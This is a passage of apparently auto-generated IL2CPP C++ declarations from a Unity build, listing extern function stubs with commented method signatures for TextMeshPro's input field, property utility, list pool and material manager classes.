extern void TMP_InputField_MoveToStartOfLine_mC73D470B797643AC87FCFCC778D43DD945B18252 (void);
// 0x00000306 System.String TMPro.TMP_InputField::get_clipboard()
extern void TMP_InputField_get_clipboard_m00D07780D8DE9C8508834C8DAAC2D1BFB639EFE2 (void);
// 0x00000307 System.Void TMPro.TMP_InputField::set_clipboard(System.String)
extern void TMP_InputField_set_clipboard_m93C532958BC5FEBA6E00E1F53D7F08CC12D63912 (void);
// 0x00000308 System.Boolean TMPro.TMP_InputField::InPlaceEditing()
extern void TMP_InputField_InPlaceEditing_m2FEE000FC40DAF7CAE8B2DA4FF5D364E30873FC1 (void);
// 0x00000309 System.Void TMPro.TMP_InputField::UpdateStringPositionFromKeyboard()
extern void TMP_InputField_UpdateStringPositionFromKeyboard_mED93ADC3A6B158262ECFB07CD6B21EC39B99022E (void);
// 0x0000030A System.Void TMPro.TMP_InputField::LateUpdate()
extern void TMP_InputField_LateUpdate_m9D1496DFE349C330C4FD29BDE290209E22E66DC4 (void);
// 0x0000030B System.Boolean TMPro.TMP_InputField::MayDrag(UnityEngine.EventSystems.PointerEventData)
extern void TMP_InputField_MayDrag_mB0F0807D39BED3B80A5EF8F757E8956D5869ED1F (void);
// 0x0000030C System.Void TMPro.TMP_InputField::OnBeginDrag(UnityEngine.EventSystems.PointerEventData)
extern void TMP_InputField_OnBeginDrag_m0F9B51A6CEBD12DAB6DFFF1CA1F15AD1D3495940 (void);
// 0x0000030D System.Void TMPro.TMP_InputField::OnDrag(UnityEngine.EventSystems.PointerEventData)
extern void TMP_InputField_OnDrag_mBA444852C709D10301A31FAD4DA6AD33479C05E4 (void);
// 0x0000030E System.Collections.IEnumerator TMPro.TMP_InputField::MouseDragOutsideRect(UnityEngine.EventSystems.PointerEventData)
extern void TMP_InputField_MouseDragOutsideRect_m19E6E5421BFCC996DC30FD6FCD07EF890931FB44 (void);
// 0x0000030F System.Void TMPro.TMP_InputField::OnEndDrag(UnityEngine.EventSystems.PointerEventData)
extern void TMP_InputField_OnEndDrag_m0CB1102EBBDC28E1AFA38FD0D50469F08492D4AC (void);
// 0x00000310 System.Void TMPro.TMP_InputField::OnPointerDown(UnityEngine.EventSystems.PointerEventData)
extern void TMP_InputField_OnPointerDown_mA194D68CFB19DF910D8EE1B63DF5FF4D795C6C8D (void);
// 0x00000311 TMPro.TMP_InputField/EditState TMPro.TMP_InputField::KeyPressed(UnityEngine.Event)
extern void TMP_InputField_KeyPressed_m1C528E6E9E2FB05DFA8CA61F880DEE24C2C304F6 (void);
// 0x00000312 System.Boolean TMPro.TMP_InputField::IsValidChar(System.Char)
extern void TMP_InputField_IsValidChar_m12ACC6064ABA5E72C3CF133AFC578300A67EEFC1 (void);
// 0x00000313 System.Void TMPro.TMP_InputField::ProcessEvent(UnityEngine.Event)
extern void TMP_InputField_ProcessEvent_mED1F52CCCF82A49EF61E080D8A55B63EB8878124 (void);
// 0x00000314 System.Void TMPro.TMP_InputField::OnUpdateSelected(UnityEngine.EventSystems.BaseEventData)
extern void TMP_InputField_OnUpdateSelected_m04CB39F3A7156D62E73D7A04E52F4356DD40FCA3 (void);
// 0x00000315 System.Void TMPro.TMP_InputField::OnScroll(UnityEngine.EventSystems.PointerEventData)
extern void TMP_InputField_OnScroll_m87663801D19AE16C594D8C106CD2A5532CE1B22E (void);
// 0x00000316 System.Single TMPro.TMP_InputField::GetScrollPositionRelativeToViewport()
extern void TMP_InputField_GetScrollPositionRelativeToViewport_mE320B683741E2E7403D1F2ADCD65F44B68FA4158 (void);
// 0x00000317 System.String TMPro.TMP_InputField::GetSelectedString()
extern void TMP_InputField_GetSelectedString_m4BF128EBC96DAB95E95CD9F292A1EB99AD1238C6 (void);
// 0x00000318 System.Int32 TMPro.TMP_InputField::FindNextWordBegin()
extern void TMP_InputField_FindNextWordBegin_m1207B66382CCC488015CD5EB2E017C20E20A6AF2 (void);
// 0x00000319 System.Void TMPro.TMP_InputField::MoveRight(System.Boolean,System.Boolean)
extern void TMP_InputField_MoveRight_m8831525A4FF9E75CA86BD5E4BAC9351EF640D497 (void);
// 0x0000031A System.Int32 TMPro.TMP_InputField::FindPrevWordBegin()
extern void TMP_InputField_FindPrevWordBegin_mD8DA9061047B673CDB67C2F762A14C1514CFEC17 (void);
// 0x0000031B System.Void TMPro.TMP_InputField::MoveLeft(System.Boolean,System.Boolean)
extern void TMP_InputField_MoveLeft_m787CBD78E57FDD7DC28A10CA1624EA4118157898 (void);
// 0x0000031C System.Int32 TMPro.TMP_InputField::LineUpCharacterPosition(System.Int32,System.Boolean)
extern void TMP_InputField_LineUpCharacterPosition_m6FAA53F203CF66F87F62F985E830CB769A169F16 (void);
// 0x0000031D System.Int32 TMPro.TMP_InputField::LineDownCharacterPosition(System.Int32,System.Boolean)
extern void TMP_InputField_LineDownCharacterPosition_m0A95990F452ECFB15A5BF8C12D8E92592CF3B2CD (void);
// 0x0000031E System.Int32 TMPro.TMP_InputField::PageUpCharacterPosition(System.Int32,System.Boolean)
extern void TMP_InputField_PageUpCharacterPosition_m68C124FCEE737E9CB486D5218A2B5804D407BD0A (void);
// 0x0000031F System.Int32 TMPro.TMP_InputField::PageDownCharacterPosition(System.Int32,System.Boolean)
extern void TMP_InputField_PageDownCharacterPosition_mD00879F9AD1E5315C8896D8CB421FAB93045F818 (void);
// 0x00000320 System.Void TMPro.TMP_InputField::MoveDown(System.Boolean)
extern void TMP_InputField_MoveDown_mB8F65AD03355C867F63BAB0021C93B75F534CCBE (void);
// 0x00000321 System.Void TMPro.TMP_InputField::MoveDown(System.Boolean,System.Boolean)
extern void TMP_InputField_MoveDown_m96FE2822D035DFBE82474737DEE8DED622AAD868 (void);
// 0x00000322 System.Void TMPro.TMP_InputField::MoveUp(System.Boolean)
extern void TMP_InputField_MoveUp_m0A8E579FDBE203C29D7AF1B4225C9A64498DE5A9 (void);
// 0x00000323 System.Void TMPro.TMP_InputField::MoveUp(System.Boolean,System.Boolean)
extern void TMP_InputField_MoveUp_m79291882C851A7AEC3945EB8479D31984941F8DB (void);
// 0x00000324 System.Void TMPro.TMP_InputField::MovePageUp(System.Boolean)
extern void TMP_InputField_MovePageUp_mA945CEDD104AAC4B417B1AC6D95FC75798ED3040 (void);
// 0x00000325 System.Void TMPro.TMP_InputField::MovePageUp(System.Boolean,System.Boolean)
extern void TMP_InputField_MovePageUp_m1B01B4C15C5D556CED7B34E7F55149E1DA35ECF1 (void);
// 0x00000326 System.Void TMPro.TMP_InputField::MovePageDown(System.Boolean)
extern void TMP_InputField_MovePageDown_mE32EFCBEB2A1D230D3C6C8B27357C454F4AD5EC2 (void);
// 0x00000327 System.Void TMPro.TMP_InputField::MovePageDown(System.Boolean,System.Boolean)
extern void TMP_InputField_MovePageDown_m80AEFB5ACD656505A347F13FAEFB55EA62F0EC86 (void);
// 0x00000328 System.Void TMPro.TMP_InputField::Delete()
extern void TMP_InputField_Delete_mD817C69CFF25B762DF673A1FD31DAF0E2F761784 (void);
// 0x00000329 System.Void TMPro.TMP_InputField::DeleteKey()
extern void TMP_InputField_DeleteKey_m3EE34B2EE784E0F8833BCEA668B590D8C838BDCC (void);
// 0x0000032A System.Void TMPro.TMP_InputField::Backspace()
extern void TMP_InputField_Backspace_m1962DCE85EA39B861EF3E9E147A63C8CFE58A917 (void);
// 0x0000032B System.Void TMPro.TMP_InputField::Append(System.String)
extern void TMP_InputField_Append_m4595DE62B0D6CD1E1EACC127F8B84563351190C8 (void);
// 0x0000032C System.Void TMPro.TMP_InputField::Append(System.Char)
extern void TMP_InputField_Append_m90791E607DDDAD68C715529BF47B24726ED86582 (void);
// 0x0000032D System.Void TMPro.TMP_InputField::Insert(System.Char)
extern void TMP_InputField_Insert_mD8773951E82B4743AF137BE4EDA14915EC704907 (void);
// 0x0000032E System.Void TMPro.TMP_InputField::UpdateTouchKeyboardFromEditChanges()
extern void TMP_InputField_UpdateTouchKeyboardFromEditChanges_m05E63AC0F9D593BB8584E97AC236646C05E22B12 (void);
// 0x0000032F System.Void TMPro.TMP_InputField::SendOnValueChangedAndUpdateLabel()
extern void TMP_InputField_SendOnValueChangedAndUpdateLabel_m9A56A0E7406E3E3362400445749CE33C20C7BC64 (void);
// 0x00000330 System.Void TMPro.TMP_InputField::SendOnValueChanged()
extern void TMP_InputField_SendOnValueChanged_m9138A30966454771476FF25A71ED03DDAF6EC0C7 (void);
// 0x00000331 System.Void TMPro.TMP_InputField::SendOnEndEdit()
extern void TMP_InputField_SendOnEndEdit_mBE399B126786848BC400A04B165A6C9BD6757CD1 (void);
// 0x00000332 System.Void TMPro.TMP_InputField::SendOnSubmit()
extern void TMP_InputField_SendOnSubmit_m3993BECBCAB4632CD5C564C0BC38486FC2320D14 (void);
// 0x00000333 System.Void TMPro.TMP_InputField::SendOnFocus()
extern void TMP_InputField_SendOnFocus_m306B75E91484337E9A090AB1A45D971133ACF7C8 (void);
// 0x00000334 System.Void TMPro.TMP_InputField::SendOnFocusLost()
extern void TMP_InputField_SendOnFocusLost_m0BC85C3C362617A4E81F9E9360207EFC0D2882FF (void);
// 0x00000335 System.Void TMPro.TMP_InputField::SendOnTextSelection()
extern void TMP_InputField_SendOnTextSelection_m301880AB4201417DFE7FEB6CC22A323DF0935ADC (void);
// 0x00000336 System.Void TMPro.TMP_InputField::SendOnEndTextSelection()
extern void TMP_InputField_SendOnEndTextSelection_m5142CBC7340FC8E2B0457DDD1F257C1A19DE01D0 (void);
// 0x00000337 System.Void TMPro.TMP_InputField::SendTouchScreenKeyboardStatusChanged()
extern void TMP_InputField_SendTouchScreenKeyboardStatusChanged_mF0F1E86DFF3023EA6167004879DAE86E1D2C3AEB (void);
// 0x00000338 System.Void TMPro.TMP_InputField::UpdateLabel()
extern void TMP_InputField_UpdateLabel_mC40048ECFCF13981FE38993C7251024EC2477ED2 (void);
// 0x00000339 System.Void TMPro.TMP_InputField::UpdateScrollbar()
extern void TMP_InputField_UpdateScrollbar_m61D071BE0C6F2D5C8FD3F75AF4B6A256685429C9 (void);
// 0x0000033A System.Void TMPro.TMP_InputField::OnScrollbarValueChange(System.Single)
extern void TMP_InputField_OnScrollbarValueChange_mD38291A7EBF4EDA6C308DF090261355519C10E03 (void);
// 0x0000033B System.Void TMPro.TMP_InputField::UpdateMaskRegions()
extern void TMP_InputField_UpdateMaskRegions_mD22E32D41A5E6EDAC8A7547194CA34A4DE918343 (void);
// 0x0000033C System.Void TMPro.TMP_InputField::AdjustTextPositionRelativeToViewport(System.Single)
extern void TMP_InputField_AdjustTextPositionRelativeToViewport_m7EC3FED9FB3F4F5450E60552FE36F0D79E48592C (void);
// 0x0000033D System.Int32 TMPro.TMP_InputField::GetCaretPositionFromStringIndex(System.Int32)
extern void TMP_InputField_GetCaretPositionFromStringIndex_m24E11A6B461D41DAD8CA4DC96F0AB263175DE283 (void);
// 0x0000033E System.Int32 TMPro.TMP_InputField::GetMinCaretPositionFromStringIndex(System.Int32)
extern void TMP_InputField_GetMinCaretPositionFromStringIndex_mF22329EB6607A83C8791B9DE0A1FB4B8B53575AC (void);
// 0x0000033F System.Int32 TMPro.TMP_InputField::GetMaxCaretPositionFromStringIndex(System.Int32)
extern void TMP_InputField_GetMaxCaretPositionFromStringIndex_m5A2C033C4018D10695C8E3CA0A53EA7E5F6F5B01 (void);
// 0x00000340 System.Int32 TMPro.TMP_InputField::GetStringIndexFromCaretPosition(System.Int32)
extern void TMP_InputField_GetStringIndexFromCaretPosition_mE8952E126639234C711E6DA723C272AA6C22FB59 (void);
// 0x00000341 System.Void TMPro.TMP_InputField::ForceLabelUpdate()
extern void TMP_InputField_ForceLabelUpdate_m06F01A5D3EF44553E23404EC82D65B405A842C11 (void);
// 0x00000342 System.Void TMPro.TMP_InputField::MarkGeometryAsDirty()
extern void TMP_InputField_MarkGeometryAsDirty_m3FD825DDE67FAA8CFBF12EE92C65463823402138 (void);
// 0x00000343 System.Void TMPro.TMP_InputField::Rebuild(UnityEngine.UI.CanvasUpdate)
extern void TMP_InputField_Rebuild_mA714C05AB0AAF3BDB56E2534622E978943AC2317 (void);
// 0x00000344 System.Void TMPro.TMP_InputField::LayoutComplete()
extern void TMP_InputField_LayoutComplete_m3C78365E6DFF603628C61A7321EEE5AA1FBCDA67 (void);
// 0x00000345 System.Void TMPro.TMP_InputField::GraphicUpdateComplete()
extern void TMP_InputField_GraphicUpdateComplete_m5FE6F033C3688FD16CE1D52A0CABE075699C568E (void);
// 0x00000346 System.Void TMPro.TMP_InputField::UpdateGeometry()
extern void TMP_InputField_UpdateGeometry_m44637D3DF51E919CE2F702A61B49A2F4FEFCEAFB (void);
// 0x00000347 System.Void TMPro.TMP_InputField::AssignPositioningIfNeeded()
extern void TMP_InputField_AssignPositioningIfNeeded_m3CA56BB25376EF783C8E1218AA2643FACEB924E1 (void);
// 0x00000348 System.Void TMPro.TMP_InputField::OnFillVBO(UnityEngine.Mesh)
extern void TMP_InputField_OnFillVBO_m4F9AEEB359EABEA669C3E3587ECF4B1262067E6A (void);
// 0x00000349 System.Void TMPro.TMP_InputField::GenerateCaret(UnityEngine.UI.VertexHelper,UnityEngine.Vector2)
extern void TMP_InputField_GenerateCaret_m6020296CC782C426A13349E6B8885C029DBEBB72 (void);
// 0x0000034A System.Void TMPro.TMP_InputField::CreateCursorVerts()
extern void TMP_InputField_CreateCursorVerts_mAD2D8B4DD0331646AA852C4BFF7595CC76D27836 (void);
// 0x0000034B System.Void TMPro.TMP_InputField::GenerateHightlight(UnityEngine.UI.VertexHelper,UnityEngine.Vector2)
extern void TMP_InputField_GenerateHightlight_m6B8F6ECF6369850A6B87D68E75A639021F463B8F (void);
// 0x0000034C System.Void TMPro.TMP_InputField::AdjustRectTransformRelativeToViewport(UnityEngine.Vector2,System.Single,System.Boolean)
extern void TMP_InputField_AdjustRectTransformRelativeToViewport_m58C2AAE39A4A6EE2309BAACBDFBAA22A885CF479 (void);
// 0x0000034D System.Char TMPro.TMP_InputField::Validate(System.String,System.Int32,System.Char)
extern void TMP_InputField_Validate_m76212763DA49DFD7C152C65F8AF6CC056EE69979 (void);
// 0x0000034E System.Void TMPro.TMP_InputField::ActivateInputField()
extern void TMP_InputField_ActivateInputField_m9471012A606F201DF838539F5400D072A827914F (void);
// 0x0000034F System.Void TMPro.TMP_InputField::ActivateInputFieldInternal()
extern void TMP_InputField_ActivateInputFieldInternal_m95B34ECC08F02FF048EFC2272CE07648657627BC (void);
// 0x00000350 System.Void TMPro.TMP_InputField::OnSelect(UnityEngine.EventSystems.BaseEventData)
extern void TMP_InputField_OnSelect_m586B40BE0FAFFDA515B1AF7A391094F076B2036F (void);
// 0x00000351 System.Void TMPro.TMP_InputField::OnPointerClick(UnityEngine.EventSystems.PointerEventData)
extern void TMP_InputField_OnPointerClick_m2A6F2110D5AD4EF8C3FBA29166BC76921C469C55 (void);
// 0x00000352 System.Void TMPro.TMP_InputField::OnControlClick()
extern void TMP_InputField_OnControlClick_m5E418EA29EFE5180655F904E5727AE8210B6EC21 (void);
// 0x00000353 System.Void TMPro.TMP_InputField::ReleaseSelection()
extern void TMP_InputField_ReleaseSelection_mC70F802822362452CFDD9FE095F5147E6BB5020F (void);
// 0x00000354 System.Void TMPro.TMP_InputField::DeactivateInputField(System.Boolean)
extern void TMP_InputField_DeactivateInputField_m1C829676E9DC0D3E5DAE85D1869D26FBF748184D (void);
// 0x00000355 System.Void TMPro.TMP_InputField::OnDeselect(UnityEngine.EventSystems.BaseEventData)
extern void TMP_InputField_OnDeselect_m19AA85C6A6FAB27850293318B1D92908B82F99AF (void);
// 0x00000356 System.Void TMPro.TMP_InputField::OnSubmit(UnityEngine.EventSystems.BaseEventData)
extern void TMP_InputField_OnSubmit_m52BE7037E939A81A0EF41FCB4DA55D77C5970039 (void);
// 0x00000357 System.Void TMPro.TMP_InputField::EnforceContentType()
extern void TMP_InputField_EnforceContentType_m4D5F42FD6E04B3B3B541E978C9C603B7696E7AB2 (void);
// 0x00000358 System.Void TMPro.TMP_InputField::SetTextComponentWrapMode()
extern void TMP_InputField_SetTextComponentWrapMode_m9CF72ADC54A79451A8B35A85FFF2232F1D6A79ED (void);
// 0x00000359 System.Void TMPro.TMP_InputField::SetTextComponentRichTextMode()
extern void TMP_InputField_SetTextComponentRichTextMode_mAA7F99B2DFD5DD46007BF0247B37A8CA008F1947 (void);
// 0x0000035A System.Void TMPro.TMP_InputField::SetToCustomIfContentTypeIsNot(TMPro.TMP_InputField/ContentType[])
extern void TMP_InputField_SetToCustomIfContentTypeIsNot_mB9AC8BE6A15C7DC926F5064C49A0F2199CC6B14D (void);
// 0x0000035B System.Void TMPro.TMP_InputField::SetToCustom()
extern void TMP_InputField_SetToCustom_m798A8846432794AA8687F6020551B512357D2CF0 (void);
// 0x0000035C System.Void TMPro.TMP_InputField::SetToCustom(TMPro.TMP_InputField/CharacterValidation)
extern void TMP_InputField_SetToCustom_mB668A3AB0C1900F2B2618DB9C1288C805DD21D58 (void);
// 0x0000035D System.Void TMPro.TMP_InputField::DoStateTransition(UnityEngine.UI.Selectable/SelectionState,System.Boolean)
extern void TMP_InputField_DoStateTransition_mB9F4AAD269179A5EBE7A31DDC64D8832C403F260 (void);
// 0x0000035E System.Void TMPro.TMP_InputField::CalculateLayoutInputHorizontal()
extern void TMP_InputField_CalculateLayoutInputHorizontal_m46CEB3041DFCF55FF496A01B186965E0846BDAA0 (void);
// 0x0000035F System.Void TMPro.TMP_InputField::CalculateLayoutInputVertical()
extern void TMP_InputField_CalculateLayoutInputVertical_m89664390EDA3B835EF3540E85A65978247884577 (void);
// 0x00000360 System.Single TMPro.TMP_InputField::get_minWidth()
extern void TMP_InputField_get_minWidth_m2A2D1042C5D78373A2AD8BBF514157D83C3A706A (void);
// 0x00000361 System.Single TMPro.TMP_InputField::get_preferredWidth()
extern void TMP_InputField_get_preferredWidth_m7B67921BC7BD2A2FDD53C93FC9AB63B04A00C753 (void);
// 0x00000362 System.Single TMPro.TMP_InputField::get_flexibleWidth()
extern void TMP_InputField_get_flexibleWidth_m8E903250C848B81530D7A757513C98FD7DB4E3CB (void);
// 0x00000363 System.Single TMPro.TMP_InputField::get_minHeight()
extern void TMP_InputField_get_minHeight_m5B9B113BDB4FA8562DE935A377CA0734F7ADE7B1 (void);
// 0x00000364 System.Single TMPro.TMP_InputField::get_preferredHeight()
extern void TMP_InputField_get_preferredHeight_mF8468DD1FB5F87870379277710E1D5C3DDCFFC1D (void);
// 0x00000365 System.Single TMPro.TMP_InputField::get_flexibleHeight()
extern void TMP_InputField_get_flexibleHeight_m3293370FBA374E6FCDBC1E7BF9EF975C1D00DEC3 (void);
// 0x00000366 System.Int32 TMPro.TMP_InputField::get_layoutPriority()
extern void TMP_InputField_get_layoutPriority_m29F413DB25AC2A615265C1C2820D89AC60816DF2 (void);
// 0x00000367 System.Void TMPro.TMP_InputField::SetGlobalPointSize(System.Single)
extern void TMP_InputField_SetGlobalPointSize_m3FFB4ADB49E9D601673A53AEA78839B964D32A81 (void);
// 0x00000368 System.Void TMPro.TMP_InputField::SetGlobalFontAsset(TMPro.TMP_FontAsset)
extern void TMP_InputField_SetGlobalFontAsset_m4AD28DDE68A928EA340F360105C99A1EBC789201 (void);
// 0x00000369 System.Void TMPro.TMP_InputField::.cctor()
extern void TMP_InputField__cctor_mF973E419EDD6DC0C1AAE90C8AB1A3A3886B06456 (void);
// 0x0000036A UnityEngine.Transform TMPro.TMP_InputField::UnityEngine.UI.ICanvasElement.get_transform()
extern void TMP_InputField_UnityEngine_UI_ICanvasElement_get_transform_m54CD226342494A37D5AF311CC975A634588AE1AF (void);
// 0x0000036B System.Void TMPro.TMP_InputField/OnValidateInput::.ctor(System.Object,System.IntPtr)
extern void OnValidateInput__ctor_m734DB6ABACB01CDC715C54E93A47B817C0E7FB68 (void);
// 0x0000036C System.Char TMPro.TMP_InputField/OnValidateInput::Invoke(System.String,System.Int32,System.Char)
extern void OnValidateInput_Invoke_m1CDDA220BF2691F42200A098F57AE10FDE383E49 (void);
// 0x0000036D System.IAsyncResult TMPro.TMP_InputField/OnValidateInput::BeginInvoke(System.String,System.Int32,System.Char,System.AsyncCallback,System.Object)
extern void OnValidateInput_BeginInvoke_m43FBD60B6478C13E662CE8C9BB98085409286F6F (void);
// 0x0000036E System.Char TMPro.TMP_InputField/OnValidateInput::EndInvoke(System.IAsyncResult)
extern void OnValidateInput_EndInvoke_m71D53E4976D82E4B04234B4EC8877D54E3C84954 (void);
// 0x0000036F System.Void TMPro.TMP_InputField/SubmitEvent::.ctor()
extern void SubmitEvent__ctor_m7D30737EA13979AD78F6D7C46563FD43A32301C8 (void);
// 0x00000370 System.Void TMPro.TMP_InputField/OnChangeEvent::.ctor()
extern void OnChangeEvent__ctor_mA7F876316D0F5198E90ECA7304C6542D63758698 (void);
// 0x00000371 System.Void TMPro.TMP_InputField/SelectionEvent::.ctor()
extern void SelectionEvent__ctor_m9EF6D8DB48A30C615541A297E3739B078BA2F8AD (void);
// 0x00000372 System.Void TMPro.TMP_InputField/TextSelectionEvent::.ctor()
extern void TextSelectionEvent__ctor_mB76781548533BA217F1FDD39550335889994027E (void);
// 0x00000373 System.Void TMPro.TMP_InputField/TouchScreenKeyboardEvent::.ctor()
extern void TouchScreenKeyboardEvent__ctor_mA7D12057CDF3115B9B47CFFE817A2D901B90EB37 (void);
// 0x00000374 System.Void TMPro.TMP_InputField/<CaretBlink>d__276::.ctor(System.Int32)
extern void U3CCaretBlinkU3Ed__276__ctor_m04194456FB3C1DBD716CFA59EDDE760D986AAE94 (void);
// 0x00000375 System.Void TMPro.TMP_InputField/<CaretBlink>d__276::System.IDisposable.Dispose()
extern void U3CCaretBlinkU3Ed__276_System_IDisposable_Dispose_m62F3C667730FA038C1323EAB48AEF59FEFFCD1A4 (void);
// 0x00000376 System.Boolean TMPro.TMP_InputField/<CaretBlink>d__276::MoveNext()
extern void U3CCaretBlinkU3Ed__276_MoveNext_mDD251CD28C8D1BDCAA212FB35443F07ECABB6E87 (void);
// 0x00000377 System.Object TMPro.TMP_InputField/<CaretBlink>d__276::System.Collections.Generic.IEnumerator<System.Object>.get_Current()
extern void U3CCaretBlinkU3Ed__276_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_mDD9FEFE4B5114891E051AA778A47A32E4530798E (void);
// 0x00000378 System.Void TMPro.TMP_InputField/<CaretBlink>d__276::System.Collections.IEnumerator.Reset()
extern void U3CCaretBlinkU3Ed__276_System_Collections_IEnumerator_Reset_mD05FB2B8858676366A0ED98063C5AEECC60AEB28 (void);
// 0x00000379 System.Object TMPro.TMP_InputField/<CaretBlink>d__276::System.Collections.IEnumerator.get_Current()
extern void U3CCaretBlinkU3Ed__276_System_Collections_IEnumerator_get_Current_m06538DD0CE0EA13A3E001E9E7B390F96B2E9B724 (void);
// 0x0000037A System.Void TMPro.TMP_InputField/<MouseDragOutsideRect>d__294::.ctor(System.Int32)
extern void U3CMouseDragOutsideRectU3Ed__294__ctor_mC97D27357520CBB200DD3254DEF53DF620ACB6B6 (void);
// 0x0000037B System.Void TMPro.TMP_InputField/<MouseDragOutsideRect>d__294::System.IDisposable.Dispose()
extern void U3CMouseDragOutsideRectU3Ed__294_System_IDisposable_Dispose_mDDECF9B91F7E66A9166A3FC4863656BC94C4A28D (void);
// 0x0000037C System.Boolean TMPro.TMP_InputField/<MouseDragOutsideRect>d__294::MoveNext()
extern void U3CMouseDragOutsideRectU3Ed__294_MoveNext_mE91DEA64A594ABE2D110805114C864C501529C0E (void);
// 0x0000037D System.Object TMPro.TMP_InputField/<MouseDragOutsideRect>d__294::System.Collections.Generic.IEnumerator<System.Object>.get_Current()
extern void U3CMouseDragOutsideRectU3Ed__294_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_m36806333FD5DF40BAC0946CEBC2DE197E7E3090C (void);
// 0x0000037E System.Void TMPro.TMP_InputField/<MouseDragOutsideRect>d__294::System.Collections.IEnumerator.Reset()
extern void U3CMouseDragOutsideRectU3Ed__294_System_Collections_IEnumerator_Reset_mA500CB2991458842FB24C83B54624A9B91446E8C (void);
// 0x0000037F System.Object TMPro.TMP_InputField/<MouseDragOutsideRect>d__294::System.Collections.IEnumerator.get_Current()
extern void U3CMouseDragOutsideRectU3Ed__294_System_Collections_IEnumerator_get_Current_mCD6E5AE2B1016D22C30F38001C6DFB243EAF10AE (void);
// 0x00000380 System.Boolean TMPro.SetPropertyUtility::SetColor(UnityEngine.Color&,UnityEngine.Color)
extern void SetPropertyUtility_SetColor_mD4D642CB7A6724A4AE82B718DB37289B41F3DA9E (void);
// 0x00000381 System.Boolean TMPro.SetPropertyUtility::SetEquatableStruct(T&,T)
// 0x00000382 System.Boolean TMPro.SetPropertyUtility::SetStruct(T&,T)
// 0x00000383 System.Boolean TMPro.SetPropertyUtility::SetClass(T&,T)
// 0x00000384 System.Char TMPro.TMP_InputValidator::Validate(System.String&,System.Int32&,System.Char)
// 0x00000385 System.Void TMPro.TMP_InputValidator::.ctor()
extern void TMP_InputValidator__ctor_mD15E0AFA50E8CA10B2849A66A5B96D50B7EA66F3 (void);
// 0x00000386 System.Collections.Generic.List`1<T> TMPro.TMP_ListPool`1::Get()
// 0x00000387 System.Void TMPro.TMP_ListPool`1::Release(System.Collections.Generic.List`1<T>)
// 0x00000388 System.Void TMPro.TMP_ListPool`1::.cctor()
// 0x00000389 System.Void TMPro.TMP_ListPool`1/<>c::.cctor()
// 0x0000038A System.Void TMPro.TMP_ListPool`1/<>c::.ctor()
// 0x0000038B System.Void TMPro.TMP_ListPool`1/<>c::<.cctor>b__3_0(System.Collections.Generic.List`1<T>)
// 0x0000038C System.Void TMPro.TMP_MaterialManager::.cctor()
extern void TMP_MaterialManager__cctor_m4141AD578F4867F8B4F750D1A40E9C812DDD8CE0 (void);
// 0x0000038D System.Void TMPro.TMP_MaterialManager::OnPreRender()
extern void TMP_MaterialManager_OnPreRender_m50B8EB50F661141CC1F827DA008D952ABD8CEC5B (void);
// 0x0000038E UnityEngine.Material TMPro.TMP_MaterialManager::GetStencilMaterial(UnityEngine.Material,System.Int32)
extern void TMP_MaterialManager_GetStencilMaterial_m877ECF06F54F903B2D731AE8203EEB766B994694 (void);
// 0x0000038F System.Void TMPro.TMP_MaterialManager::ReleaseStencilMaterial(UnityEngine.Material)
extern void TMP_MaterialManager_ReleaseStencilMaterial_m4665FB7F1C1971CFC70A09D21B034E47F7725446 (void);
// 0x00000390 UnityEngine.Material TMPro.TMP_MaterialManager::GetBaseMaterial(UnityEngine.Material)
extern void TMP_MaterialManager_GetBaseMaterial_m720F44418843E9D968BDCFE998EE956301BE1CBF (void);
// 0x00000391 UnityEngine.Material TMPro.TMP_MaterialManager::SetStencil(UnityEngine.Material,System.Int32)
extern void TMP_MaterialManager_SetStencil_m01DEAAD9C1E0DAA06485B99D241A9100DF60B5BE (void);
// 0x00000392 System.Void TMPro.TMP_MaterialManager::AddMaskingMaterial(UnityEngine.Material,UnityEngine.Material,System.Int32)
extern void TMP_MaterialManager_AddMaskingMaterial_mCAD5D2467EEF8570C8D30D8F1CC13000CF521920 (void);
// 0x00000393 System.Void TMPro.TMP_MaterialManager::RemoveStencilMaterial(UnityEngine.Material)
extern void TMP_MaterialManager_RemoveStencilMaterial_mCFB04EA51B4A042069DA4EAD6C3BF781B82AB62F (void);
// 0x00000394 System.Void TMPro.TMP_MaterialManager::ReleaseBaseMaterial(UnityEngine.Material)
extern void TMP_MaterialManager_ReleaseBaseMaterial_mE0F28925B023F8B26F636028799A6CD9B59DE34E (void);
// 0x00000395 System.Void TMPro.TMP_MaterialManager::ClearMaterials()
extern void TMP_MaterialManager_ClearMaterials_mE39930BFF15495F66DEE78BD169F793BF8155BB3 (void);
// 0x00000396 System.Int32 TMPro.TMP_MaterialManager::GetStencilID(UnityEngine.GameObject)
extern void TMP_MaterialManager_GetStencilID_m73038BF6576BC331A0220AAE1789E4A4EE4A2955 (void);
// 0x00000397 UnityEngine.Material TMPro.TMP_MaterialManager::GetMaterialForRendering(UnityEngine.UI.MaskableGraphic,UnityEngine.Material)
extern void TMP_MaterialManager_GetMaterialForRendering_mCB7B3FAC19E2879739366D2F52B9B75D6FEDB68B (void);
// 0x00000398 UnityEngine.Transform TMPro.TMP_MaterialManager::FindRootSortOverrideCanvas(UnityEngine.Transform)
extern void TMP_MaterialManager_FindRootSortOverrideCanvas_m0EA4B5E305B435621306BBCAA35CD86B9125D072 (void);
// 0x00000399 UnityEngine.Material TMPro.TMP_MaterialManager::GetFallbackMaterial(TMPro.TMP_FontAsset,UnityEngine.Material,System.Int32)
extern void TMP_MaterialManager_GetFallbackMaterial_m07E622D3C4F1E8F24345BBFC4AC83FDB18F10606 (void);
// 0x0000039A UnityEngine.Material TMPro.TMP_MaterialManager::GetFallbackMaterial(UnityEngine.Material,UnityEngine.Material)
extern void TMP_MaterialManager_GetFallbackMaterial_m0E4F47DCB849D279782B38356413CC3DA6A27A56 (void);
// 0x0000039B System.Void TMPro.TMP_MaterialManager::AddFallbackMaterialReference(UnityEngine.Material)
extern void TMP_MaterialManager_AddFallbackMaterialReference_mFA845C1EDE908D2D5A4B9AC807A38CFA67BBCFFB (void);
// 0x0000039C System.Void TMPro.TMP_MaterialManager::RemoveFallbackMaterialReference(UnityEngine.Material)
extern void TMP_MaterialManager_RemoveFallbackMaterialReference_m57C1FA591CF1241217BEC78E86E26A1E12413945 (void);
// 0x0000039D System.Void TMPro.TMP_MaterialManager::CleanupFallbackMaterials()
extern void TMP_MaterialManager_CleanupFallbackMaterials_mD2F7C89B639C3B0C48A56B3C13B7F606C0CDA025 (void);
